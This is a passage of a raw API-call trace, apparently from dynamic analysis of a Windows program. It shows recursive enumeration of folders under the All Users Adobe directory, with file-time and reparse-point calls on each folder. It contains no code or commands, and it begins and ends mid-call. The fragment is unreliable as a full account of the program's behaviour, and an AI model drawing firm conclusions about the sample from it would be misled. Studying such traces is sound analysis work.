ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 0 [0091.174] GetLastError () returned 0x12 [0091.174] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Adobe\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9100 [0091.174] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.174] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.174] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0091.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.175] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat" (normalized: "c:\\users\\all users\\adobe\\acrobat"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.175] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat" (normalized: "c:\\users\\all users\\adobe\\acrobat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0091.175] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0091.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.175] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0091.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.176] NtClose (Handle=0x17c) returned 0x0 [0091.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faec0 [0091.177] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9180 [0091.177] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.177] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0091.177] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0 [0091.177] GetLastError () returned 0x12 [0091.177] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0091.177] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.177] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.177] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0091.177] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.178] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.178] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0091.178] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0091.178] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.178] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0091.179] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.179] NtClose (Handle=0x17c) returned 0x0 [0091.179] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.180] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9180 [0091.180] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.180] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Replicate", cAlternateFileName="")) returned 1 [0091.180] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Replicate", cAlternateFileName="")) returned 0 [0091.180] GetLastError () returned 0x12 [0091.180] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0091.180] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.180] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.180] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Replicate", cAlternateFileName="")) returned 1 [0091.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.181] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\replicate"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.185] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\replicate"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0091.185] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0091.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.186] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0091.186] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.186] NtClose (Handle=0x17c) returned 0x0 [0091.186] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.186] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.187] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb1f0 [0091.187] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb278 [0091.187] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9180 [0091.187] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.188] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 1 [0091.188] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 0 [0091.188] GetLastError () returned 0x12 [0091.188] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0091.188] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.188] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.188] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 1 [0091.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb300 [0091.188] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\replicate\\security"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.188] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\replicate\\security"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0091.189] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0091.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.189] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0091.189] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.189] NtClose (Handle=0x17c) returned 0x0 [0091.190] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb300) returned 1 [0091.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb300 [0091.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb388 [0091.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb410 [0091.190] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9180 [0091.190] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.190] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1df, dwReserved0=0x0, dwReserved1=0x0, cFileName="directories.acrodata", cAlternateFileName="")) returned 1 [0091.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb498 [0091.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb498) returned 1 [0091.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb498 [0091.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb498) returned 1 [0091.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb498 [0091.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340e10 [0091.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb388) returned 1 [0091.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6698 [0091.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134c7b0 [0091.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb498) returned 1 [0091.193] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1df, dwReserved0=0x0, dwReserved1=0x0, cFileName="directories.acrodata", cAlternateFileName="")) returned 0 [0091.193] GetLastError () returned 0x12 [0091.193] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9140 [0091.193] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.193] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.193] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1df, dwReserved0=0x0, dwReserved1=0x0, cFileName="directories.acrodata", cAlternateFileName="")) returned 1 [0091.193] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1df, dwReserved0=0x0, dwReserved1=0x0, cFileName="directories.acrodata", cAlternateFileName="")) returned 0 [0091.193] GetLastError () returned 0x12 [0091.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb410) returned 1 [0091.194] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0091.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340e10) returned 1 [0091.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb300) returned 1 [0091.194] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 0 [0091.194] GetLastError () returned 0x12 [0091.194] RtlFreeHeap 